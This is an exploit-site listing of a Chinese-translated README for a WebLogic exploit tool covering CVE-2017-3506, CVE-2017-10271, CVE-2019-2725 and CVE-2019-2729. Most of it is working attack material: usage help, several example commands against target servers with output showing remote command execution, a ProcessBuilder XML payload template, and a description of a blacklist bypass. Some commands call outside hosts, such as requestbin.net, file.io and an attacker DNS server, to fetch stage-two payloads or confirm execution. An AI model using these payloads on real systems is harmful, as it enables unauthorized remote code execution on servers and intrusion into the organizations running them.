Sploitus

Exploit for CVE-2019-2725 CVE-2017-10271 CVE-2017-3506 CVE-2019-2725 CVE-2019-2729

kitploit · 2026-08-25

Exploit Code

MARKDOWN208 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-PIMPS-CVE-2019-2725
# CVE-2019-2725

WebLogic通用利用工具 - CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729 载荷构建器与利用

## 信息/帮助

root@kitploit:~
    
    
    $ python3 weblogic_exploit.py -h
    
    ========================================================================
    |                      WebLogic Universal Exploit                      |
    |    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
    |                               by pimps                               |
    ========================================================================
    
    usage: weblogic_exploit.py [-h] [-pl PAYLOAD] [-ep ENDPOINT] [-c CMD] [-j]
                               [-u URL] [-y YSOSERIAL] [-tr TERMINAL] [-px PROXY]
                               target
    
    positional arguments:
      target                               目标服务器
    
    optional arguments:
      -h, --help                           显示此帮助信息并退出
      -pl PAYLOAD, --payload PAYLOAD       使用可用载荷之一:(默认:fs_xml_app_ctx)
                                           		- process_builder(CMD - 所有版本)
                                           		- unit_of_work_change_set(SERIAL - 10.x版本)
                                           		- event_data(CMD - 12.x版本)
                                           		- fs_xml_app_ctx(URL - 所有版本)
      -ep ENDPOINT, --endpoint ENDPOINT    使用已配置的端点之一:(默认:自动)
                                           		- wls_wsat(CMD输出)
                                           		- _async(盲执行)
      -c CMD, --cmd CMD                    要执行的命令。(默认:whoami)
      -j, --jdk6                           启用CVE-2019-2729(绕过'class')。声明:仅在JDK 1.6中有效!
      -u URL, --url URL                    用于获取阶段2的URL。与'URL'载荷一起使用。(默认:无)
      -y YSOSERIAL, --ysoserial YSOSERIAL  自定义YSOSERIAL载荷文件。与'SERIAL'载荷一起使用。(默认:无)
      -tr TERMINAL, --terminal TERMINAL    使用可用终端之一:cmd, bash, powershell, none(默认:bash)
      -px PROXY, --proxy PROXY             配置代理,格式为http://127.0.0.1:8080/(默认:无)
    
    此脚本将生成有效的WebLogic SOAP载荷,以利用此Web服务器上的不同CVE。
    

## 使用示例

使用SERIAL载荷时,可以传入命令(动态生成ysoserial载荷),或手动生成ysoserial载荷并通过-y参数传递给脚本。

要动态生成ysoserial载荷,您应下载https://github.com/pimps/ysoserial-modified/blob/master/target/ysoserial-modified.jar,并将其放置在此脚本的同一目录中。

payload unit_of_work_change_set 已知仅在WebLogic 10.x版本中有效。示例:

root@kitploit:~
    
    
    pimps$ java -jar ysoserial-modified.jar Jdk7u21 bash 'nslookup your.server.com' > ysoserial_payload.bin
    pimps$ python3 weblogic_exploit.py -y ysoserial_payload.bin -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com
    
    ========================================================================
    |                      WebLogic Universal Exploit                      |
    |    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
    |                               by pimps                               |
    ========================================================================
    
    [+] YSOSERIAL载荷大小:3182
    [+] WebLogic SOAP载荷构建成功...
    [+] 正在触发利用...
    [+] 炸弹已送达... 服务器响应:
    
    HTTP/1.1 202
    Connection: close
    Date: Wed, 28 Aug 2019 01:39:52 GMT
    Content-Length: 0
    
    pimps$ python3 weblogic_exploit.py -c 'nslookup your.server.com' -pl unit_of_work_change_set -px http://127.0.0.1:8080 https://target.server.com
    
    ========================================================================
    |                      WebLogic Universal Exploit                      |
    |    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
    |                               by pimps                               |
    ========================================================================
    
    [+] YSOSERIAL载荷大小:3027
    [+] WebLogic SOAP载荷构建成功...
    [+] 正在触发利用...
    [+] 炸弹已送达... 服务器响应:
    
    HTTP/1.1 202
    Connection: close
    Date: Wed, 28 Aug 2019 01:46:33 GMT
    Content-Length: 0
    
    

使用URL载荷(FileSystemXmlApplicationContext)时,您可以托管自己的XML并通过-u参数传递,或者让利用工具为您生成一个临时载荷文件并托管在https://file.io!此载荷将在利用阶段生成,并在服务器远程获取后自动删除。如果您希望托管自己的载荷,请使用以下模板:

root@kitploit:~
    
    
    <?xml version="1.0" encoding="utf-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans" 
      xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
      xsi:schemaLocation="http://www.springframework.org/schema/beans 
      http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[echo "this is my bash command, change terminal if needed"]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

此载荷已知在所有版本的WebLogic中有效。此载荷的缺点是需要目标服务器具有出站连接以获取阶段2载荷。以下是使用此载荷的示例:

root@kitploit:~
    
    
    $ python weblogic_exploit.py -tr powershell -c 'Invoke-WebRequest http://requestbin.net/r/h4x31337' -pl fs_xml_app_ctx -px http://127.0.0.1:8080 https://target.server.com
    
    ========================================================================
    |                      WebLogic Universal Exploit                      |
    |    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
    |                               by pimps                               |
    ========================================================================
    
    [-] 未提供阶段2 URL... 正在存储...
    [+] 阶段2载荷成功存储在:https://file.io/IbCIbg
    [+] WebLogic SOAP载荷构建成功...
    [+] 正在触发利用...
    [+] 炸弹已送达... 服务器响应:
    
    HTTP/1.1 202
    Connection: close
    Date: Tue, 27 Aug 2019 07:42:24 GMT
    Content-Length: 0
    
    

最后但同样重要的是,process_builder载荷是最常见的利用载荷(metasploit模块),适用于未修补`class=`黑名单的WebLogic版本。此载荷经过定制,可将命令输出打印在请求的响应体中。使用示例:

root@kitploit:~
    
    
    pimps$ python3 weblogic_exploit.py -c "id; uname -a" -pl process_builder http://localhost:7001/
    
    ========================================================================
    |                      WebLogic Universal Exploit                      |
    |    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
    |                               by pimps                               |
    ========================================================================
    
    [+] WebLogic SOAP载荷构建成功...
    [+] 正在触发利用...
    [+] 炸弹已送达... 服务器响应:
    
    HTTP/1.1 200
    Connection: close
    Date: Thu, 29 Aug 2019 12:30:26 GMT
    Transfer-Encoding: chunked
    
    uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
    Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    
    

## 更新

### 2019-08-29

为event_data载荷添加支持,可在响应体中输出命令结果。使用示例:

root@kitploit:~
    
    
    $ python3 weblogic_exploit.py -c 'id; uname -a' -pl event_data http://localhost:7001
    
    ========================================================================
    |                      WebLogic Universal Exploit                      |
    |    CVE-2017-3506 / CVE-2017-10271 / CVE-2019-2725 / CVE-2019-2729    |
    |                               by pimps                               |
    ========================================================================
    
    [+] WebLogic SOAP载荷构建成功...
    [+] 正在触发利用...
    [+] 炸弹已送达... 服务器响应:
    
    HTTP/1.1 200
    Connection: close
    Date: Thu, 29 Aug 2019 07:37:26 GMT
    Transfer-Encoding: chunked
    
    uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
    Linux wlsadmin 4.9.125-linuxkit #1 SMP Fri Sep 7 08:20:28 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    
    

致谢:使用了此GitHub仓库中公布的载荷的一部分,用于在响应体中输出命令结果(https://github.com/lufeirider/CVE-2019-2725/blob/master/CVE-2019-2725.py)。感谢 @lufeirider 的分享。

### 2019-09-26

添加了对CVE-2019-2729的支持。这是一种绕过方式,将 `<class> </class>` 替换为 `<array method="forName"> </array>`。此绕过仅适用于JDK 1.6,因为该JDK版本在通过XMLDecoder解析XML数据时存在差异。

命令参数 `-j/--jdk6` 已添加到利用脚本中。